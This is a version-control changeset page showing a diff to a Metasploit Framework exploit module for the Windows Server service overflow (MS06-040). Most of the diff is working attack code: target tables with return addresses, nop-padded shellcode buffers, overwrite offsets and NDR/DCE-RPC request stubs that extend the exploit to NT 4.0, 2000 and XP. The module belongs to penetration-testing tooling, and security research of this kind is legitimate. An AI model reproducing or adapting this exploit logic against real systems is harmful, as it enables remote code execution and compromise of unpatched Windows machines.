Changeset 3813

Show
Ignore:
Timestamp:
08/10/06 16:37:41 (2 years ago)
Author:
hdm
Message:

Hits NT/2000/XP now

Files:

Legend:

Unmodified
Added
Removed
Modified
Copied
Moved
  • framework2/trunk/exploits/netapi_ms06_040.pm

    r3812 r3813  
    4747        'Payload' => 
    4848          { 
    49                 # Technically we can use more space than this, but this lets us 
    50                 # keep the same payload size between XP and 2000 and still allow 
    51                 # for multiple exploit runs against a single instance 
    52                 'Space'    => 420, 
     49                # Technically we can use more space than this, but by limiting it 
     50                # to 370 bytes we can use the same request for all Windows SPs. 
     51                'Space'    => 370, 
    5352                 
    5453                'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 
     
    6665                a denial of service on on Windows XP SP2 or Windows 2003 SP1. A failed exploit attempt 
    6766                will likely result in a complete reboot on Windows 2000 and the termination of all  
    68                 SMB-related services on Windows XP.  
     67                SMB-related services on Windows XP. The default target for this exploit should succeed 
     68                on Windows NT 4.0, Windows 2000 SP0-SP4+, and Windows XP SP0. To exploit other operating 
     69                system versions (XP SP1, etc), you will need to select the appropriate target. 
    6970          } 
    7071          ), 
     
    7273        'Refs' => 
    7374          [ 
    74                 [ 'BID', '18325' ], 
    75                 [ 'CVE', '2006-2370' ], 
    76                 [ 'MSB', 'MS06-025' ], 
    77                 [ 'OSVDB', '26437' ], 
     75                [ 'BID', '19409' ], 
     76                [ 'CVE', '2006-3439' ], 
     77                [ 'MSB', 'MS06-040' ], 
    7878          ], 
    7979 
     
    8181        'Targets'       => 
    8282          [ 
    83                 [ 'Automatic for Windows 2000 and Windows XP SP0/SP1' ], 
    84                 [ 'Windows 2000', 1025, 1005, 1017, 0x00020804, 0x00020830, 32 ], 
    85                 [ 'Windows XP',    631,  611,  623, 0x00020804, 0x000209c0, 140 ] 
     83                [ '(wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)' ], 
     84                [ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4', 1000, 0x00020804 ], 
     85                [ '(wcscpy) Windows XP SP0/SP1', 612, 0x00020804 ], 
     86                [ '(stack)  Windows XP SP1 English', 656, 680, 0x71ab1d54], # jmp esp @ ws2_32.dll 
    8687          ], 
    8788 
     
    177178        #  ); 
    178179        # 
    179  
    180         # Prepend nops based on the target 
    181         $shellcode = $self->MakeNops($target->[6]) . $shellcode; 
    182          
    183         my $boom = Pex::Text::AlphaNumText($target->[1]); 
    184          
    185         # Stuff our payload in first 
    186         substr($boom, 0, length($shellcode), $shellcode); 
    187  
    188         # Return address offset and value 
    189         substr($boom, $target->[2], 4, pack('V', $target->[5])); 
     180         
     181        my $stub; 
     182 
     183        # 
     184        # Use the wcscpy() method on NT 4.0 / 2000 
     185        #        
     186        if ($target->[0] =~ /2000/ && ! $target->[3]) { 
     187         
     188                # Pad our shellcode out with nops 
     189                $shellcode = $self->MakeNops($target->[1] - length($shellcode)) . $shellcode; 
     190         
     191                # Stick it into a path 
     192                my $path =      $shellcode . (pack('V', $target->[2]) x 16) . "\x00\x00"; 
     193 
     194                # Package that into a stub 
     195                $stub = 
     196                        Pex::NDR::Long(int(rand(0xffffffff))). 
     197                        Pex::NDR::UnicodeConformantVaryingString(''). 
     198                        Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path). 
     199                        Pex::NDR::Long(int(rand(250)+1)). 
     200                        Pex::NDR::UnicodeConformantVaryingStringPreBuilt( "\xeb\x02" . "\x00\x00"). 
     201                        Pex::NDR::Long(int(rand(250)+1)). 
     202                        Pex::NDR::Long(0);       
     203        # 
     204        # Use the wcscpy() method on XP SP0/SP1 
     205        #        
     206        } elsif ($target->[0] =~ /XP/ && ! $target->[3]) { 
     207 
     208                # XP SP0/SP1 
     209                my $path =       
     210                        # Shellcode (corrupted ~420 bytes in) 
     211                        $shellcode. 
     212                        # Padding 
     213                        Pex::Text::AlphaNumText($target->[1] - length($shellcode)). 
     214                        # Land 6 bytes in to bypass garbage (XP SP0) 
     215                        pack('V', $target->[2] + 6). 
     216                        # Padding 
     217                        Pex::Text::AlphaNumText(8). 
     218                        # Address to write our shellcode (XP SP0) 
     219                        pack('V', $target->[2]). 
     220                        # Padding (required) 
     221                        Pex::Text::AlphaNumText(32). 
     222                        # Jump straight to shellcode (XP SP1) 
     223                        pack('V', $target->[2]). 
     224                        # Padding 
     225                        Pex::Text::AlphaNumText(8).                                              
     226                        # Address to write our shellcode (XP SP1) 
     227                        pack('V', $target->[2]). 
     228                        # Padding (required) 
     229                        Pex::Text::AlphaNumText(32).                     
     230                        # Terminate 
     231                        "\x00\x00"; 
     232 
     233                # Package that into a stub 
     234                $stub = 
     235                        Pex::NDR::Long(int(rand(0xffffffff))). 
     236                        Pex::NDR::UnicodeConformantVaryingString(''). 
     237                        Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path). 
     238                        Pex::NDR::Long(int(rand(250)+1)). 
     239                        Pex::NDR::UnicodeConformantVaryingString(''). 
     240                        Pex::NDR::Long(int(rand(250)+1)). 
     241                        Pex::NDR::Long(0); 
     242 
     243        # 
     244        # Use the stack overflow method if a return address is set 
     245        # 
     246        } elsif( $target->[3]) { 
     247 
     248                my $buff = Pex::Text::AlphaNumText(800); 
     249                substr($buff, 0, length($shellcode), $shellcode); 
     250                substr($buff, $target->[1], 4, pack('V', $target->[3])); 
     251                substr($buff, $target->[2], 5, "\xe9" . pack('V', ($target->[1] + 5) * -1 )); 
    190252                 
    191         # Destination pointer offset and value 
    192         substr($boom, $target->[3], 4, pack('V', $target->[4])); 
    193  
    194         # Stick it into a path 
    195         my $path =      "\x5c". $boom. "\x00\x00"; 
    196          
    197         # Package that into a stub 
    198         my $stub = 
    199           Pex::NDR::Long(int(rand(0xffffffff))). 
    200           Pex::NDR::UnicodeConformantVaryingString(''). 
    201           Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path). 
    202           Pex::NDR::Long(int(rand(250)+1)). 
    203           Pex::NDR::UnicodeConformantVaryingString(''). 
    204           Pex::NDR::Long(int(rand(250)+1)). 
    205           Pex::NDR::Long(0); 
     253                my $path = "\\\x00\\\x00". $buff. "\x00\x00"; 
     254 
     255                # Package that into a stub 
     256                $stub = 
     257                        Pex::NDR::Long(int(rand(0xffffffff))). 
     258                        Pex::NDR::UnicodeConformantVaryingString(''). 
     259                        Pex::NDR::UnicodeConformantVaryingStringPreBuilt($path). 
     260                        Pex::NDR::Long(int(rand(250)+1)). 
     261                        Pex::NDR::UnicodeConformantVaryingString(''). 
     262                        Pex::NDR::Long(int(rand(250)+1)). 
     263                        Pex::NDR::Long(0); 
     264        } else { 
     265                $self->PrintLine("This target is not currently supported"); 
     266                return; 
     267        } 
     268 
    206269 
    207270        $self->PrintLine("[*] Sending request..."); 
     
    213276                $self->PrintLine("[*] The server rejected it, trying again..."); 
    214277                @response = $dce->request( $handle, 0x1f, $stub ); 
     278        } 
     279         
     280        if ( length($dce->{'response'}->{'StubData'}) > 0) { 
     281                $self->PrintLine("[*] This system may be patched or running Windows XP SP1 or SP2"); 
    215282        } 
    216283